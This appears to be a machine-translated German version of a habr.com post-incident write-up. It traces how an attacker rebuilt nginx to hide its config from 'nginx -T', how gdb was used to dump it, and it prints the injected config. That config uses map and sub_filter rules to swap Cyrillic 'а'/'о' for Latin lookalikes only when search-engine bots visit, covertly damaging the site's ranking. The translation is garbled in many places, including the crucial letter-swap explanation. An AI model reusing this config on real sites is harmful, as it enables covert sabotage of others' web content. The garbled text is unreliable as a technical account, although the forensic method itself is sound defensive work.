Wenn „a“ nicht gleich „a“ ist. Nach einem Hack

Einem meiner Freunde ist eine äußerst unangenehme Geschichte passiert. Aber so unangenehm es für Mikhail auch war, so unterhaltsam war es für mich.

Ich muss sagen, dass mein Freund ruhig ist UNIX-user: kann das System selbst installieren mysql, php und nehmen Sie einfache Einstellungen vor .
Und er hat ein Dutzend oder eineinhalb Websites, die sich mit Bauwerkzeugen befassen.

Eine dieser Websites zum Thema Kettensägen belegt einen festen Platz an der Spitze der Suchmaschinen. Diese Seite ist ein nichtkommerzieller Rezensent, aber jemand hat sich angewöhnt, sie anzugreifen. Das DDoS, dann rohe Gewalt, dann schreiben sie obszöne Kommentare und senden Beschimpfungen an das Hosting und an das RKN.
Plötzlich beruhigte sich alles und diese Ruhe erwies sich als nicht gut, und die Site begann allmählich, die obersten Zeilen der Suchergebnisse zu verlassen.

Wenn „a“ nicht gleich „a“ ist. Nach einem Hack

Das war ein Sprichwort, dann die Geschichte des Administrators selbst.

Es war fast Schlafenszeit, als das Telefon klingelte: „San, willst du nicht mal auf meinen Kellner schauen?“ Mir kommt es so vor, als wäre ich gehackt worden, ich kann es nicht beweisen, aber das Gefühl lässt mich auch die dritte Woche nicht los. Vielleicht ist es einfach an der Zeit, dass ich mich wegen Paranoia behandeln lasse?“

Es folgte eine halbstündige Diskussion, die sich wie folgt zusammenfassen lässt:

  • der Boden zum Hacken war recht fruchtbar;
  • ein Angreifer könnte Superuser-Rechte erlangen;
  • der Angriff (sofern er stattgefunden hat) gezielt auf diesen Standort gerichtet war;
  • Problembereiche wurden korrigiert und Sie müssen nur noch verstehen, ob es zu Durchdringungen kam;
  • Der Hack konnte den Site-Code und die Datenbanken nicht beeinträchtigen.

Zum letzten Punkt.

Wenn „a“ nicht gleich „a“ ist. Nach einem Hack

Nur die weiße Frontend-IP blickt in die Welt hinaus. Es gibt keinen Austausch zwischen den Backends und dem Frontend außer http(s), die Benutzer/Passwörter sind unterschiedlich, es wurden keine Schlüssel ausgetauscht. Bei grauen Adressen sind alle Ports außer 80/443 geschlossen. Weiße Backend-IPs sind nur zwei Benutzern bekannt, denen Mikhail vollkommen vertraut.

Im Frontend installiert Debian 9 und wenn der Anruf erfolgt, ist das System durch eine externe Firewall von der Welt isoliert und gestoppt.

„Okay, gib mir Zugang“, beschließe ich, den Schlaf um eine Stunde zu verschieben. „Ich werde es mit meinen eigenen Augen sehen.“

Hier und weiter:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Auf der Suche nach einem möglichen Hack

Ich starte den Server als Erster Rettungsmodus. Ich lege die Disketten ein und blättere sie durch Autor-Protokolle, Geschichte, Systemprotokolle usw., wenn möglich, überprüfe ich die Daten der Dateierstellung, obwohl ich verstehe, dass ein normaler Cracker sich selbst „heraufgefegt“ hätte und Misha bereits viel „heruntergetreten“ war, während er nach sich selbst suchte .

Ich beginne im normalen Modus, verstehe noch nicht wirklich, wonach ich suchen soll, und studiere die Konfigurationen. Zunächst einmal interessiere ich mich für da es im Frontend im Allgemeinen nichts anderes gibt als es.
Die Konfigurationen sind klein, gut strukturiert in ein Dutzend Dateien, ich schaue sie mir einfach an Katze'Oh, eins nach dem anderen. Alles scheint sauber zu sein, aber man weiß nie, ob ich etwas übersehen habe das, lassen Sie mich eine vollständige Auflistung erstellen:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ich habe nicht verstanden: „Wo ist der Eintrag?“

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Der Auflistungsfrage wird eine zweite Frage hinzugefügt: „Warum so eine alte Version von Nginx?“

Darüber hinaus geht das System davon aus, dass die neueste Version installiert ist:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ich rufe an:
- Mischa, warum hast du dich wieder zusammengesetzt? ?
- Warte, ich weiß nicht einmal, wie ich das machen soll!
- Ok, nun, geh schlafen...

Nginx es wird eindeutig neu aufgebaut und die Ausgabe der Auflistung mit „-T“ wird aus einem bestimmten Grund ausgeblendet. Es gibt keine Zweifel mehr am Hacken und Sie können es einfach akzeptieren und (da Misha den Server sowieso durch einen neuen ersetzt hat) das Problem als gelöst betrachten.

Und tatsächlich, da hat jemand die Rechte bekommen Wurzel„Ah, dann macht es nur Sinn, es zu tun.“ System neu installieren, und es war sinnlos, nach dem zu suchen, was dort nicht stimmte, aber dieses Mal besiegte die Neugier den Schlaf. Wie können wir herausfinden, was sie vor uns verbergen wollten?

Versuchen wir herauszufinden:

$ strace nginx -T

Wir schauen es uns an, es gibt eindeutig nicht genügend Linien in der Spur a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Vergleichen wir mal zum Spaß die Ergebnisse.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ich denke, Teil des Codes /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

wurde in die Form gebracht:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

oder

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

daher wird die Auflistung mit „-T“ nicht angezeigt.

Aber wie können wir unsere Konfiguration anzeigen?

Wenn mein Gedanke richtig ist und das Problem nur in der Variablen liegt ngx_dump_config Versuchen wir es mit zu installieren gdb, zum Glück gibt es einen Schlüssel --with-cc-opt -g präsentieren und hoffen, dass optimierung -O2 es wird uns nicht schaden. Gleichzeitig, da ich nicht weiß wie ngx_dump_config verarbeitet werden konnte Fall 'T':, wir werden diesen Block nicht aufrufen, sondern mit installieren Fall 't':

Warum Sie sowohl „-t“ als auch „-T“ verwenden könnenBlockverarbeitung if(ngx_dump_config) passiert drinnen if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natürlich, wenn der Code in diesem Teil geändert wird und nicht in Fall 'T':, dann funktioniert meine Methode nicht.

Testen Sie nginx.confNachdem das Problem bereits experimentell gelöst wurde, wurde festgestellt, dass eine Mindestkonfiguration erforderlich ist, damit die Malware funktioniert Typ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Wir werden es der Kürze halber im Artikel verwenden.

Starten Sie den Debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Schritt für Schritt:

  • Setzen Sie einen Haltepunkt in der Funktion Main()
  • starten Sie das Programm
  • Ändern Sie den Wert der Variablen, die die Ausgabe der Konfiguration bestimmt ngx_dump_config=1
  • Programm fortsetzen/beenden

Wie wir sehen können, unterscheidet sich die tatsächliche Konfiguration von unserer. Wir wählen daraus ein parasitäres Stück aus:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Schauen wir uns der Reihe nach an, was hier passiert.

Sind bestimmt User-Agent's Yandex/Google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Ausgenommen sind Serviceseiten Wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Und für diejenigen, die unter beide oben genannten Bedingungen fallen

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

im Text html-Seiten ändern sich 'Ö' auf 'Ö' и 'A' auf 'ein':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Das ist richtig, die einzige Feinheit ist das 'a' != 'a' ebenso gut wie 'o' != 'o':

Wenn „a“ nicht gleich „a“ ist. Nach einem Hack

So erhalten Suchmaschinen-Bots anstelle des normalen 100 % kyrillischen Textes modifizierten Müll, der mit Latein verdünnt ist 'ein' и 'Ö'. Ich wage nicht zu diskutieren, wie sich das auf SEO auswirkt, aber es ist unwahrscheinlich, dass ein solches Durcheinander von Buchstaben einen positiven Einfluss auf die Positionen in den Suchergebnissen haben wird.

Was soll ich sagen, Jungs mit Fantasie.

Referenzen

Debuggen mit GDB
gdb(1) – Linux-Manpage
strace(1) – Linux-Manpage
Nginx – Modul ngx_http_sub_module
Über Sägen, Kettensägen und Elektrosägen

Source: habr.com

Kommentar hinzufügen